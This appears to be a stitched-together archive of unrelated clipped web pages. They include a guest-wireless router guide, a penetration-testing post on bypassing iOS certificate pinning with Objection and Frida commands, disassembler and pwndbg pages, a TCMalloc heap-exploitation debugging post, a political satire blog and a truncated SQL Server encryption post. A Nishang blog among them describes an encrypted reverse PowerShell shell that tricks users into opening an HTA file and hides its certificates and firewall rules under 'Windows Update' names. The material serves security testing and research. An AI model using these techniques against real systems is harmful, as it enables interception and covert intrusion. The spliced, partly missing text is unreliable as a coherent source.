    # other useful options:                                       
    
    # Default Gateway      
    dhcp-option=3,10.10.10.1
    
    # DNS Servers             
    dhcp-option=6,10.10.10.6,10.10.10.7
    **
[/code]

  * **Step 6** \- Reboot the WRT54GL, make sure all is well. Now, connect the POE adapaters and place the APs where you want them.

  * **Step 7** \- Configure Wireless - Place the access points on their respecitve channels using the command "**nvram set wl0\_channel=1** ". Ideally, you could have 3 APs, one on channel 1, 6, and 11. Now, set all of the SSIDs to the same value using the command "**nvram set wl0\_ssid="guestwireless** " and "**nvram commit** " in order to save the nvram changes. \[Larry\] Added nvram commit.

You should now be able to associate to the given SSID. Which access point you
associate with will depend heavily on the wireless driver that you are using,
and other factors that require too much math.

In Part II, we will show you how to implement a captive portal for guest
authentication, and maybe even how to add some further layers of security such
as intrusion detection and IP filtering.

  

# Four Ways to Bypass iOS SSL Verification and Certificate Pinning

**Created:**| _10/3/2018 9:44:41 AM_  
---|---  
**Updated:**| _10/3/2018 9:44:41 AM_  
**Author:**| __  
**Tags:**| __  
  

# Four Ways to Bypass iOS SSL Verification and Certificate Pinning

Ben Tindell

September 18th, 2018

A couple months ago, Cody Wass released a blog on how to bypass SSL
verification and certificate pinning for Android. I thought it would be a
great idea to write up some techniques that I’ve found to work well for iOS.
To reiterate from Cody’s blog, being able to perform man-in-the-middle
\(MITM\) attacks is a crucial part of any standard penetration test. This
allows us to intercept and fuzz all HTTP requests and find any security
vulnerabilities. In the examples below, I will be using Burp Suite as my web
proxy. This blog assumes that the reader is somewhat familiar with iOS, Xcode,
and setting up their phone and Burp to intercept mobile HTTP traffic in iOS.
In this blog Ill cover the following four techniques to bypass SSL
verifification and certificate pinning in iOS:

  * Installing your own CA
  * Installing Software to iOS Device
  * Using Objection and Frida
  * Using disassemblers to modify IPA file

## Technique 1 – Installing Your Own CA

Installing your own CA is the first step to getting rid of SSL errors.
Installing your CA is relatively easy inside of iOS. The first step is to get
the CA onto the device. This could be done through opening an email attachment
or downloading the certificate. First off, configure your mobile device and
web proxy to be able to intercept web traffic. Specifically, for Burp Suite,
you can simply browse to http://burp and click on “CA Certificate”.

Next you will be prompted to “Install” the certificate as seen below.

<img src='img/img_5b92df0c7fe1a.png' width='576' height='768' />

Clicking on install prompts a warning that the certificate you are going to
install will be added to the list of trusted certificates.

<img src='img/img_5b92ded55995a.png' width='576' height='768' />

You can verify that the certificate is installed by going into Settings >
General > Profile.

## Technique 2 – Installing Software to iOS Device

If you’re still getting SSL errors, or the application itself dies waiting for
a connection, there is a chance the application server is using some sort of
TLS chain validation or SSL certificate pinning. The simplest method to bypass
SSL certificate pinning is to install software that does all the hard work for
us. The tools listed below are easy to setup and get running.

  * SSLKillSwitch
  * Burp Mobile Assistant

Installation instructions are listed on each of the webpages. However, with
these methods, a jailbroken iOS device is required. In recent years, having a
jailbroken device with the current iOS version has become increasingly
difficult.

## Technique 3 – Using Objection and Frida

Another proven method is to use Frida hooks and Objection. At a very high-
level, Frida is a framework that allows you to interfere with an application’s
code at runtime. Specifically, interfering with the logic behind certificate
validation. This is limited to using jailbroken devices. However, we can use
the Frida Gadget, which has the full arsenal of the framework, but we do not
need a jailbroken device. Even more good news, Objection is a wrapper for this
framework and will do all the hard work for us\!

First off, you will need a valid provisioning profile and a code-signing
certificate from an Apple Developer account. You can create a valid
provisioning profile by creating a test application within Xcode and you can
register for a free developer account here.

Once the test project is created, the next step is to setup the code-signing
certificate. First, open Xcode preferences and then select “Accounts”. To add
your Apple ID account click on the plus sign in the lower left-hand corner and
sign into your account. Next click on “Manage Certificates” in the lower
right-hand corner.

<img src='img/img_5b8591d1cad81.png' width='624' height='425' />

Clicking on that button brings us to the screen below. To create a
certificate, click on the plus sign in the lower left-hand box and select “iOS
Development”. Once that loads, click “Done” and then “Download Manual
Profiles” which then loads the certificate onto the computer.

<img src='img/img_5b8591e786ba6.png' width='624' height='462' />

Once you have the code-signing certificate loaded onto your computer, you can
find it by running the following command:

[code]

    NetSPIs-MacBook-Pro:Test netspi$ security find-identity
    
    Policy: X.509 Basic
    Matching identities
    1) A[REDACTED]1 "iPhone Developer: [REDACTED]@netspi.com ([REDACTED])"
    2) 0[REDACTED]C "iPhone Developer: [REDACTED]@netspi.com ([REDACTED])"
    2 identities found
    
    Valid identities only
    1) A[REDACTED]1 "iPhone Developer: [REDACTED]@netspi.com ([REDACTED])"
    2) 0[REDACTED]C "iPhone Developer: [REDACTED]@netspi.com ([REDACTED])"
    2 valid identities found
[/code]

We want to load the Frida Gadget dynamic library to be able to modify the
application at runtime. In the context of an iOS application, we want to
extract the IPA file, modify the binary to load the FridaGadget.dylib, code-
sign the binary and dylib, then repackage the updated IPA file. As mentioned
previously, we can use Objection to automatically do all this work. This can
be done with the simple command below where -s is the IPA file and -c is the
code-signing certificate.

[code]

    NetSPIs-MacBook-Pro:NetSPI netspi$ objection patchipa -s netspi_test.ipa -c 0[REDACTED]C
    Using latest Github gadget version: 12.0.3
    Remote FridaGadget version is v12.0.3, local is v12.0.1. Downloading...
    Downloading from: https://github.com/frida/frida/releases/download/12.0.3/frida-gadget-12.0.3-ios-universal.dylib.xz
    Downloading iOS dylib to /Users/netspi/.objection/ios/FridaGadget.dylib.xz...
    Unpacking /Users/netspi/.objection/ios/FridaGadget.dylib.xz...
    Cleaning up downloaded archives...
    Patcher will be using Gadget version: 12.0.3
    No provision file specified, searching for one...
    Found provision file /Users/netspi/Library/Developer/Xcode/DerivedData/test-fbleootdcdwdyafhyzjmvihvfiga/Build/Products/Debug-iphoneos/test.app/embedded.mobileprovision expiring in 307 days, 1:40:03.015176
    Found a valid provisioning profile
    Working with app: NetSPI.app
    Bundle identifier is: com.netspi.test
    Codesigning 13 .dylib's with signature 0[REDACTED]C
    Code signing: libswiftDarwin.dylib
    Code signing: libswiftUIKit.dylib
    Code signing: libswiftCoreImage.dylib
    Code signing: libswiftos.dylib
    Code signing: libswiftObjectiveC.dylib
    Code signing: libswiftCoreGraphics.dylib
    Code signing: FridaGadget.dylib
    Code signing: libswiftCore.dylib
    Code signing: libswiftCoreFoundation.dylib
    Code signing: libswiftMetal.dylib
    Code signing: libswiftQuartzCore.dylib
    Code signing: libswiftFoundation.dylib
    Code signing: libswiftDispatch.dylib
    Creating new archive with patched contents...
    Codesigning patched IPA...
    Cannot find entitlements in binary. Using defaults
    
    Copying final ipa from /var/folders/1k/mw7w1kfd4c96jkvkw5mp3qfm0000gn/T/netspi_test-frida-codesigned.ipa to current directory...
    Cleaning up temp files...
[/code]

Once the command has finished running, we have a new IPA file called
netspi\_test-frida-codesigned.ipa which we can then use to deploy to the iOS
device. There is a handy tool called ios-deploy which can work with non-
jailbroken iOS devices. There are several different options you can use
depending on what you want to accomplish e.g.\(run a debugger, deploy app over
USB, etc.\).

To use ios-deploy, unzip the IPA file and run the ios-deploy command. In the
example below, I specified I want to deploy the application over USB \(-W\)
and I specified the bundle I want to deploy \(-b\).

[code]

    NetSPIs-MacBook-Pro:NetSPI netspi$ ios-deploy -W -b ./Payload/NetSPI.app
    [....] Waiting for iOS device to be connected
    [....] Using 3ff9c90d2b23beadeefdf7bc240211730c84adef (P105AP, iPad mini, iphoneos, armv7) a.k.a. 'MAPen's iPad'.
    ------ Install phase ------
    [ 0%] Found 3ff9c90d2b23beadeefdf7bc240211730c84adef (P105AP, iPad mini, iphoneos, armv7) a.k.a. 'MAPen's iPad' connected through USB, beginning install
    [ 5%] Copying /Users/netspi/test/NetSPI/Payload/NetSPI.app/META-INF/ to device
    [TRUNCATED]
    [ 52%] CreatingStagingDirectory
    [ 57%] ExtractingPackage
    [ 60%] InspectingPackage
    [ 60%] TakingInstallLock
    [ 65%] PreflightingApplication
    [ 65%] InstallingEmbeddedProfile
    [ 70%] VerifyingApplication
    [ 75%] CreatingContainer
    [ 80%] InstallingApplication
    [ 85%] PostflightingApplication
    [ 90%] SandboxingApplication
    [ 95%] GeneratingApplicationMap
    [100%] Installed package ./Payload/NetSPI.app
[/code]

Now we have the app installed on our iOS device, next is to open the
application and connect to it via Objection.

[code]

    NetSPIs-MacBook-Pro:NetSPI netspi$ objection explore
    _ _ _ _
    ___| |_ |_|___ ___| |_|_|___ ___
    | . | . | | | -_| _| _| | . | |
    |___|___|_| |___|___|_| |_|___|_|_|
    |___|(object)inject(ion) v1.3.0
    
    Runtime Mobile Exploration
    by: @leonjza from @sensepost
    
    [tab] for command suggestions
    com.netspi.test on (iPad: 9.0.1) [usb] #
[/code]

Now all that is left is to run the built-in command that bypasses the
certificate validation and you can begin proxying traffic.

[code]

    com.netspi.test on (iPad: 9.0.1) [usb] # ios sslpinning disable
    Job: b748974e-ed6d-4aaf-b5ea-3fb35a13720a - Starting
    [3fb35a13720a] [ios-ssl-pinning-bypass] [NSURLSession] Found 1 matches for URLSession:didReceiveChallenge:completionHandler:
    [3fb35a13720a] [ios-ssl-pinning-bypass] [NSURLConnection] Found 5 matches for connection:willSendRequestForAuthenticationChallenge:
    [3fb35a13720a] [ios-ssl-pinning-bypass] Hooking lower level method: SSLSetSessionOption
    [3fb35a13720a] [ios-ssl-pinning-bypass] Hooking lower level method: SSLCreateContext
    [3fb35a13720a] [ios-ssl-pinning-bypass] Hooking lower level method: SSLHandshake
    Job: b748974e-ed6d-4aaf-b5ea-3fb35a13720a - Started
[/code]

## Technique 4 – Using disassemblers to modify IPA file

If the above techniques fail, or you would like to try something more
difficult, there is always the option to use disassemblers to be able to
modify the IPA file to bypass any certificate validation. Disassembling an iOS
is out of scope for this blog, but some of the more common disassemblers are
Hopper and IDA. Once the binary has been loaded into the application,
following the logic behind what functions are called when the mobile
application attempts to make an SSL connection with the application server can
point you in the right direction of where the certificate pinning is taking
place. Modifying the IPA will most likely break the signed application and it
cannot be installed on an iOS device. Resigning the IPA file will allow you to
install the mobile app.

## Conclusion

Being able to view and modify HTTP requests sent to the server from the mobile
application is an essential part of any penetration test. This allows us
testers to get an inside view of how application functionality works. The
methods described in this blog are the ones we use during our assessments to
view and manipulate traffic when presented with SSL certificate errors and
pinning. If you have any questions or have techniques that work for you,
comment below\!

## References

  * https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2015/january/bypassing-openssl-certificate-pinning-in-ios-apps/
  * http://dji.retroroms.info/howto/iosfrida

###  Leave a Reply

<img src='img/Temp2_3287.png' width='40' height='40' />

This site uses Akismet to reduce spam. Learn how your comment data is
processed.

__ Subscribe  __

# Windows Vista APC Internals

**Created:**| _11/13/2010 4:23:34 PM_  
---|---  
**Updated:**| _11/13/2010 4:23:51 PM_  
**Author:**| __  
**Tags:**| _windows security windows reversing windows environment_  
  
<img src='img/Temp2_9935' />

# beaengine disassembler library x86 x86-64 \(IA32 and Intel64\)

**Created:**| _1/3/2011 11:56:38 AM_  
---|---  
**Updated:**| _1/3/2011 11:57:01 AM_  
**Author:**| __  
**Tags:**| _asm reversing programming_  
  

<img src='img/Temp2_10109.png' alt='gototop' /><img src='img/Temp2_10110.png'
alt='gototop' />

Top of page

# BeaEngine

disassembler library x86 x86-64 \(IA32 and Intel64\)

  

## Home

This area is dedicated to code disassembly on intel and AMD processors. This
project is a package with a **multi-plateform x86 and x64** disassembler
library \(Solaris, MAC OSX, AIX, Irix, OS/2, Linux, Windows\), tools under
windows using this library \(LookInside, plugin OllyDbg and ImmDbg\), a Length
Disassembler Engine \(LDE64\) and useful links to different documentations.

**BeaEngine** is a library coded in C respecting _ISO C99 norm_ since 4.0.0
version \(originally written with the IDE **Code::Blocks** and the compiler
**Pelles C**\). It has been developed to decode instructions from 16 bits, 32
bits and 64 bits intel architectures. Actually, the main function available is
called **Disasm**. It includes standard instruction set and instruction set
from FPU, MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2, VMX, CLMUL, AES
technologies. For those who like analyzing malicious codes and more generally
obfuscated codes, BeaEngine decodes undocumented instructions called "alias"
on the web site **sandpile**. In all scenarios, it sends back a complex
structure that describes precisely the analyzed instructions.

You can use it in **C** /**C++** \(usable and compilable with Visual Studio,
GCC, MinGW, DigitalMars, BorlandC, WatcomC, SunForte, Pelles C, LCC\), in
**assembler** \(usable with masm32 and masm64, nasm, fasm, GoAsm\) in **C\#,**
in **Python** , in **Delphi** , in **PureBasic** and in **WinDev**. You can
use it in user mode and kernel mode. It has been thought to do a lot of tasks.
First, you can retrieve mnemonic and operands according to the specified
syntax : intel syntax for Nasm, masm32 and masm64, GoAsm32 and GoAsm64, fasm
and AT&T syntax. Next, you can realize accurate analysis on data-flow and
control-flow to generate slices or obfuscation patterns. This pack contains
the library compiled in 32 bits and 64 bits for windows plateform, its source
code under LGPL3 license with a "Makefile builder", numerous examples more or
less complex including headers for following languages : C/C++, C\#, Python,
Delphi, PureBasic, masm32, masm64, nasm\(x86 and x64\), fasm\(x86 and x64\),
GoAsm\(x86 and x64\).

BeaEngine has been implemented using opcode tables seen in the intel
documentation completed by tables proposed by Christian Ludloff on his web
site **www.sandpile.org**

## **Example 1 : decoding simple x86**

* * *
**  
**

For this example, we want to decode, on a 32 bits architecture, the following
bytes sequence :

** 0x89, 0x94, 0x88, 0x00, 0x20, 0x40, 0x00  
**

If you ask a **MASM32** syntax, BeaEngine sends you back this :

**mov dword ptr ds:\[eax + ecx\*4 + 402000h\], edx**

If you ask a **AT &T** syntax, BeaEngine sends you back this :

**movd %edx, %ds:402000h\(%eax, %ecx, 4\)**

If you ask a **NASM** syntax, BeaEngine sends you back this :

**mov dword \[ds:eax + ecx\*4 + 0x402000\], edx**

**Example 1 : complete analysis**

For those who want to make a precise analysis of this instruction, BeaEngine
proposes following fields :

  * MyDisasm.Instruction.Category == GENERAL\_PURPOSE\_INSTRUCTION + DATA\_TRANSFER
  * MyDisasm.Instruction.Opcode == 0x89
  * MyDisasm.Instruction.Mnemonic == "mov "
  *   * MyDisasm.Argument1.ArgMnemonic == "eax + ecx\*4 + 402000h"
  * MyDisasm.Argument1.ArgType == MEMORY\_TYPE
  * MyDisasm.Argument1.ArgSize == 32
  * MyDisasm.Argument1.AccessMode == WRITE
  * MyDisasm.Argument1.Memory.BaseRegister == REG0
  * MyDisasm.Argument1.Memory.IndexRegister == REG1
  * MyDisasm.Argument1.Memory.Scale == 4
  * MyDisasm.Argument1.Memory.Displacement == 0x402000
  * MyDisasm.Argument1.SegmentReg == DSReg
  *   * MyDisasm.Argument2.ArgMnemonic == "edx"
  * MyDisasm.Argument2.ArgType == REGISTER\_TYPE + GENERAL\_REG + REG2
  * MyDisasm.Argument2.ArgSize == 32
  * MyDisasm.Argument2.AccessMode == READ

## **Example 2 : decoding simple x86-64**

* * *
**  
**

This time, we want to decode, on a 64 bits architecture, the following bytes
sequence :

** 0x41, 0x80, 0x7E, 0x01, 0x22  
**

If you ask a **MASM64** syntax, BeaEngine sends you back this :

**cmp byte ptr ds:\[r14+01h\], 22h**

If you ask a **AT &T** syntax, BeaEngine sends you back :

**cmpb $22h, %ds:01h\(%r14\)**

If you ask a **NASM** syntax, BeaEngine sends you back :

**cmp byte \[ds:r14+0x01\], 0x22**

**Example 2 : complete analysis**

For those who want to make a complete analysis of this instruction, BeaEngine
proposes following fields :

  * MyDisasm.Instruction.Category == GENERAL\_PURPOSE\_INSTRUCTION + COMPARISON\_INSTRUCTION
  * MyDisasm.Instruction.Opcode == 0x80
  * MyDisasm.Instruction.Mnemonic == "cmp "
  * MyDisasm.Instruction.Immediat == 0x22
  *   * MyDisasm.Prefix.Number == 1
  * MyDisasm.Prefix.REX.state == InUsePrefix
  * MyDisasm.Prefix.REX.B\_ == 1
  *   * MyDisasm.Argument1.ArgMnemonic == "r14+01h"
  * MyDisasm.Argument1.ArgType == MEMORY\_TYPE
  * MyDisasm.Argument1.ArgSize == 8
  * MyDisasm.Argument1.AccessMode == READ
  * MyDisasm.Argument1.Memory.BaseRegister == REG14
  * MyDisasm.Argument1.Memory.Displacement == 0x01
  * MyDisasm.Argument1.SegmentReg == DSReg
  *   * MyDisasm.Argument2.ArgMnemonic == "22h"
  * MyDisasm.Argument2.ArgType == CONSTANT\_TYPE + ABSOLUTE\_
  * MyDisasm.Argument2.ArgSize == 8
  * MyDisasm.Argument2.AccessMode == READ

**Performances**

The **Disasm** function of BeaEngine \(standard version\) offers a quite
comfortable rate. On an intel core 2 duo, you can decode a file of **50 Mb**
\(containing 22 millions instructions\) in less than **13 seconds**. To make a
quick comparison, the Disasm function of OllyDebugger 1.10 engine decodes the
same file in 40 seconds.

If you want to speed up the disassembly, you can use BeaEngine \(Cheetah
version\). With it, you can't display the disassembly but instead of 13
seconds, it spends only **5 sec** to make the same job.

Copyright © 2011 BeatriX.  
All Rights Reserved.

# pwndbg/pwndbg

**Created:**| _5/7/2017 10:20:17 AM_  
---|---  
**Updated:**| _5/7/2017 10:20:17 AM_  
**Author:**| __  
**Tags:**| _Linux vulnerability development-process de_  
  

  

# pwndbg <img
src='img/68747470733a2f2f7472617669732d63692e6f72672f70776e6462672f70776e6462672e7376673f6272616e63683d6d6173746572'
width='90' height='20' alt='Build Status' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6d6173686170652f6170697374617475732e7376673f6d61784167653d32353932303030'
width='122' height='20' alt='license' />

` pwndbg ` \(/poʊndbæg/\) is a GDB plug-in that makes debugging with GDB suck
less, with a focus on features needed by low-level software developers,
hardware hackers, reverse-engineers and exploit developers.

It has a boatload of features, see FEATURES.md.

## Why?

Vanilla GDB is terrible to use for reverse engineering and exploit
development. Typing ` x/g30x $esp ` is not fun, and does not confer much
information. The year is 2016 and GDB still lacks a hexdump command. GDB's
syntax is arcane and difficult to approach. Windbg users are completely lost
when they occasionally need to bump into GDB.

## What?

Pwndbg is a Python module which is loaded directly into GDB, and provides a
suite of utilities and crutches to hack around all of the cruft that is GDB
and smooth out the rough edges.

Many other projects from the past \(e.g., gdbinit, PEDA\) and present \(e.g.
GEF\) exist to fill some these gaps. Unfortunately, they're all either
unmaintained, unmaintainable, or not well suited to easily navigating the code
to hack in new features \(respectively\).

Pwndbg exists not only to replace all of its predecessors, but also to have a
clean implementation that runs quickly and is resilient against all the weird
corner cases that come up.

## How?

Installation is straightforward. Pwndbg is best supported on Ubuntu 14.04 with
GDB 7.7, and Ubuntu 16.04 with GDB 7.11.

[code]

    git clone https://github.com/pwndbg/pwndbg
    cd pwndbg
    ./setup.sh
[/code]

If you use any other Linux distribution, we recommend using the latest
available GDB built from source. Be sure to pass ` --with-
python=/path/to/python ` to ` configure `.

## What can I do with that?

For further info about features/functionalities, see FEATURES.

## Who?

Most of Pwndbg was written by Zach Riggle, with many other contributors
offering up patches via Pull Requests.

Want to help with development? Read CONTRIBUTING.

## Contact

If you have any questions not worthy of a bug report, feel free to ping `
ebeip90 ` at \#pwndbg on Freenode and ask away. Click here to connect.

  

# Lab of a Penetration Tester: Week of PowerShell shells - Day 3 - HTTPS
Shells

**Created:**| _5/13/2015 2:37:52 PM_  
---|---  
**Updated:**| _5/13/2015 2:37:52 PM_  
**Author:**| __  
**Tags:**| _post-exploitation powershell_  
  

# Week of PowerShell shells - Day 3 - HTTPS Shells

Welcome to the day 3 of week of PowerShell shells. Lets focus on HTTP/HTTPS
today. The traffic over HTTPS is mostly considered safe and often overlooked
by the blue teams and system administrators. This makes HTTPS a desirable
channel for our shells. I have stolen Casey Smith's \(@subTee\) Poshrat \(
https://github.com/subTee/PoshRat\) and tweaked it a bit. I give you **Invoke-
PoshRatHttps.**

Invoke-PoshRatHttps, as the name suggests, establishes an encrypted medium of
communication between the target and the attacker. This was lacking in the
previous shells we saw on Day 1 and Day 2. It could be found in the Nishang
repository here: https://github.com/samratashok/nishang/tree/master/Shells

Invoke-PoshRatHttps requires Administrative access on the attacker's machine
to listen on ports and install SSL certificates. Lets set up a listener on a
machine:

Note that the listener needs two ports. One for initial connect and another
for encrypted communication.

On a target, we just need to execute the below command \(note the HTTP\):

A user could be tricked to open a HTA file as well. Though the kind of
warnings shown by browsers reduce the chances of a successful attack. A target
needs to open the below URL:

Lets see it in action:

<img src='img/Temp2_4829.png' />

Awesome\! An interactive and encrypted reverse PowerShell\!

In Wireshark we can see that only the initial connect request is sent over
HTTP, everything else is over HTTPS. The initial unencrypted connect is used
to setup the HTTPS channel :

<img src='img/Temp2_4827.png' />

The pcap is available at:
https://drive.google.com/folderview?id=0B-Hsu8q12kG3fkVMaWlQejI4bmktVFlnZHd5Y3pjcHcxRVppQVM1Y1ZYamI5RlYxNExhY2s&usp=sharing

Note that Invoke-PoshRatHttps installs Root certificates by the name of
"Windows Update Agent" and the IPAddress specified on your machine and opens
incoming traffic on the specified ports. The firewall rules are named "Windows
Update HTTPS" and "Windows Update HTTP".

There is a HTTP version as well, **Invoke-PoshRatHttp**.

<img src='img/Temp2_4830.png' />

What makes Invoke-PoshRatHttps awesome is that the client part is very small
and could be used with wide variety of techniques where there are size
limitations.

To clean up the machine after using **Invoke-PoshRatHttps** , we can use
Remove-PoshRat. It needs to be run from an elevated PowerShell.

<img src='img/Temp2_4826.png' />

Nishang has another HTTPS shell **Invoke-PsGcat** which uses Gmail for command
and script execution. I have blogged about it earlier:
http://www.labofapenetrationtester.com/2015/04/pillage-the-village-powershell-
version.html

<img src='img/Temp2_4828.png' />

A video showing usage of Invoke-PoshRatHttps:

Please note that I am deliberately not going into what can be done after we
get shell access to a target. For that please see my previous blog posts.

Hope this proves to be useful. Please leave feedback and comments.

If you enjoyed the post and want to learn more and/or want to support my
research and work, join me for a two days training "PowerShell for Penetration
Testers" at:

**NolaCon, New Orleans \(June 10-11th\)** \- https://nolacon.com/powershell-
for-penetration-testers/

**Hack In Paris, Paris \(June 16-17th\)** \-
https://www.hackinparis.com/training-2015-powershell-for-penetration-testers

**Shakacon, Honolulu \(July 6-7th\)** \- http://shakacon.org/

# Heap Scripts for TCMalloc with GDB’s Python API « Sean Heelan's Blog

**Created:**| _3/31/2011 9:00:15 AM_  
---|---  
**Updated:**| _3/31/2011 9:00:26 AM_  
**Author:**| __  
**Tags:**| _Debugging python programming_  
  

## Heap Scripts for TCMalloc with GDB’s Python API

March 30, 2011 by seanhn

When writing heap exploits it’s necessary to be able to view the heap state
during debugging. As part of our work on TCMalloc, Agustin and I have written
up some heap scripts for Immunity Debugger and GDB that make the process of
tracking what TCMalloc is up to quite easy. There are quite a few scripts that
do similar things for ID and different heap implementations so in this post
I’m going to focus on the GDB side of things. Recent versions of GDB contain
an embedded Python interpreterthat provides easy access to the internals of an
application being debugged. Being able to write scripts in Python to automate
debugging tasks is really useful and hopefully the GDB guys will maintain the
project.

The scripts I will be discussing in this post can be found here. Copy the
_gdbinit_ file your home directory or the one where you will be launching
`gdb` from and rename it to  _.gdbinit_. Modify the `pyscripts_dir` variable
to point to the directory where you extracted the scripts. To load the
commands run `source /path/to/scripts/dump_free_list.py` or `source
/path/to/scripts/search_free_lists.py`. This will make the commands
`dump_free_list` and `search_free_lists` available within`gdb`.

The data structures used by TCMalloc are relatively simple so the scripts have
little to do besides reading memory and walking lists. Each thread in an
application using TCMalloc has its own `TCMalloc_ThreadCache` object which
contains information on the FreeLists for that specific thread. The FreeLists
themselves are `ThreadCache_FreeList`objects, each of which contains a `list_`
attribute that points to the head of a singly linked list of free chunks. We
can access the TLS for a given thread via `pthread_self()`in GDB and find the
`ThreadCache_FreeList` pointer at the offset -4 from there. The file
_tcmalloc.py_ contains abstractions for the `ThreadCache_FreeList`
and`TCMalloc_ThreadCache` structures. In  _dump\_free\_lists.py_ we can see
the initialisation of the `ThreadCache` abstraction via the following code:

[code]

     24         tls = gdb.parse_and_eval("pthread_self()")
     25         # threadlocal_heap is at TLS - 4
     26         threadlocal_heap = buf_to_le(
     27             self.cur_proc.read_memory(tls - 4, DWORD_SIZE))
     28
     29         tc = ThreadCache(self.cur_proc, threadlocal_heap)
    
    
[/code]

The `ThreadCache` instance then provides access to the FreeLists for the
current thread through `getFreeLists`. The size classes that TCMalloc uses to
bucket chunks together for allocations less than 32768 in size are generated
at run-time. To view them run _tcmalloc.py_ outside of `gdb` with no
arguments.

The number of size classes, and hence the number of FreeLists per thread, is
dependent a constant that may change between applications embedding TCMalloc.
For Chrome it is 61 and hence we have 61 different FreeLists per thread. If we
run`dump_free_lists` within `gdb` with no arguments it will dump all free
lists, their lengths and the chunk size that list is responsible for.  

<img src='img/Temp2_3757.png' width='482' height='372' />

TCMalloc FreeLists within Chrome on Linux

The `getFreeLists` function will return each of these FreeLists as a
`FreeList` object. This object contains a `list_ptr` attribute that
corresponds to the `list_` pointer found in the TCMalloc source for each
FreeList. It points to a singly linked list of free chunks that we can iterate
over using the `getChunks` function of a `FreeList` object.

If we run `dump_free_lists` with one or more space separated addresses it will
treat them as pointers to `ThreadCache_FreeList` structures and dump them
accordingly.

<img src='img/Temp2_3758.png' width='471' height='220' />

The chunks in a given FreeList

The scripts archive also contains the `search_free_lists` command which will
search the FreeLists to see if an address lies within a chunk on any of the
FreeLists. AfterInfiltrate we will release the rest of the scripts for ID and
GDB but these should be enough to get you started with TCMalloc and GDBs
Python API.

  

# FactsOfIsrael.com: Satire: Israel never allowed to defend herself

**Created:**| _11/15/2012 7:05:32 PM_  
---|---  
**Updated:**| _11/15/2012 7:05:32 PM_  
**Author:**| __  
**Tags:**| __  
  

# Israel never allowed to defend herself

Satire: Israel never allowed to defend herself

I received a satirical comic strip from a good friend that describes how
Israel is never allowed to defend herself -

> <img src='img/Temp2_3096.png' alt='image' />
>  
> _Israel's "Aggression", the Nebelspalter, Switzerland, 1956_
The satire was originally published in the Nebelspalter \(a newspaper from
Switzerland, http://www.nebelspalter.ch/ \) in 1956, over 50 years ago. This
was the year of the "Suez Canal War" \(see the history page  for more
details\) and I believe the Israeli man depicted in the cartoon is David Ben-
Gurion, considered to be Israel's "founding father".

When you see how many in Europe and in the United Nations have ganged up on
Israel during her latest war on Hamas  and the Palestinian Islamic Jihad, it's
easy to see how nothing has changed. See below for the detailed satirical
comic strip.

**Cartoon: Israel's "Aggression"  
**The Nebelspalter, Switzerland, 1956

The cartoon below was originally published in the Nebelspalter \(a newspaper
from Switzerland, http://www.nebelspalter.ch/ \) in 1956, over 50 years
ago.This was the year of the "Suez Canal War" \(see the history page  for more
details\) and I believe the Israeli man depicted in the cartoon is David Ben-
Gurion, considered to be Israel's "founding father".

> <img src='img/Temp2_3095.png' alt='image' />
> <img src='img/Temp2_3087.png' alt='image' />
> <img src='img/Temp2_3092.png' alt='image' />
> <img src='img/Temp2_3091.png' alt='image' />
> <img src='img/Temp2_3089.png' alt='image' />
> <img src='img/Temp2_3094.png' alt='image' />
Posted by David Melle  
<img src='img/Temp2_3093.png' width='8' height='10' /> Link to this page  | <img src='img/Temp2_3097.png' width='12' height='8' /> Email this entry | <img src='img/Temp2_3088.png' width='16' height='14' /> digg this 
Comments

Hi,  
Israel is really a great country and has fought many wars to protect
herself.So the aggression is necessary to fight and win over the enemies.

Posted by: batterien  at November 9, 2009 05:50 AM

* * *
Post a comment

If you have a TypeKey identity, you can  sign in  to use it here.

Name:

Email Address:

URL:  
Remember Me? YesNo

Comments:

Enter the code shown: <img src='img/Temp2_3090.png' />  
This helps us prevent automated spam comments

_Comments are open and unmoderated, although obscene or abusive remarks may be
deleted. Opinions expressed do not necessarily reflect the views of
FactsOfIsrael.com. See theTerms of Use  for more details._

Email this entry

Email this entry to  
\(Please enter email address\):  
  
  
Your email address:  
  
  
Message \(optional\):

Referrers to this Page

* * *
FAIR USE NOTICE

This site contains some copyrighted materials the use of which has not always
been specifically authorized by the copyright owner. We are making such
material available in our efforts to advance understanding of environmental,
political, human rights, economic, democracy, scientific, and social justice
issues, etc. We believe this constitutes a 'fair use' of any such copyrighted
material as provided for in section 107 of the US Copyright Law. In accordance
with Title 17 U.S.C. Section 107, the material on this site is distributed
without profit to those who have expressed a prior interest in receiving the
included information for research and educational purposes. For more
information go to: http://www.law.cornell.edu/uscode/17/107.shtml. If you wish
to use copyrighted material from this site for purposes of your own that go
beyond 'fair use', you must obtain permission from the copyright owner.

# Security Nuggets : Encrypting SQL Server Connections

**Created:**| _5/28/2017 11:08:54 AM_  
---|---  
**Updated:**| _5/28/2017 11:08:54 AM_  
**Author:**| __  
**Tags:**| _crypto dbms_  
  

  

### Security Nuggets : Encrypting SQL Server Connections

By John Martin on March 16, 2016 in Security, SQL Server

In this post we will take a look at how easy it is to see the queries and
results that get sent between SQL Server and the applications using it. Simply
put, why you should be encrypting your database connections if you are serious
about SQL Server Security.

Why Should I bother?

By default much of the communication between SQL Server and many of the
applications that connect to it are sent in clear text. Now while you might
think that your systems are secure, behind firewalls, or isolated from the
internet, in reality, all it can take is one rogue admin on the inside, or a
determined individual who has gained access to the business, to compromise a
system. The prime example of this is Edward Snowden and the NSA. As such, when
we design systems we should take a defence-in-depth approach, of which
encrypted connections are one of these layers of protection.

How easy is it to see what is going on

In order to demonstrate just how easy it can be to get hold of the information
inside the TDS packets I will be using Network Monitor from Microsoft, this
will capture the network packets sent and allow me to see the details of what
is being sent. Other tools such as Wireshark will also provide a level of
insight into what is being sent between the application and SQL Server. I have
configured three Windows Server 2012 R2 systems, one with the client
\(SQLCMD\), one with SQL Server, and finally one which will act as a router
between the two subnets that each server is on. This configuration can be seen
below;

<img src='img/Temp2_7359.png' width='500' height='240' alt='Simple Network
Diagram' />

While this example is simplified, it should be noted that most enterprise
grade network equipment and virtualization platforms allow for port mirroring.
This is where the traffic on a network port is copied and sent out via another
port, normally for monitoring purposes. In Hyper-V it is as simple as setting
a dropdown in the Advanced Settings on the Network Port for the VMs.

What can we see

Once Network Monitor is up and collecting on the adapters that are going to be
used for sending and receiving the network packets. It is simply a case of
issuing a T-SQL statement to the server that I want information from, in this
case I will simply be querying for the names of the databases on the server.

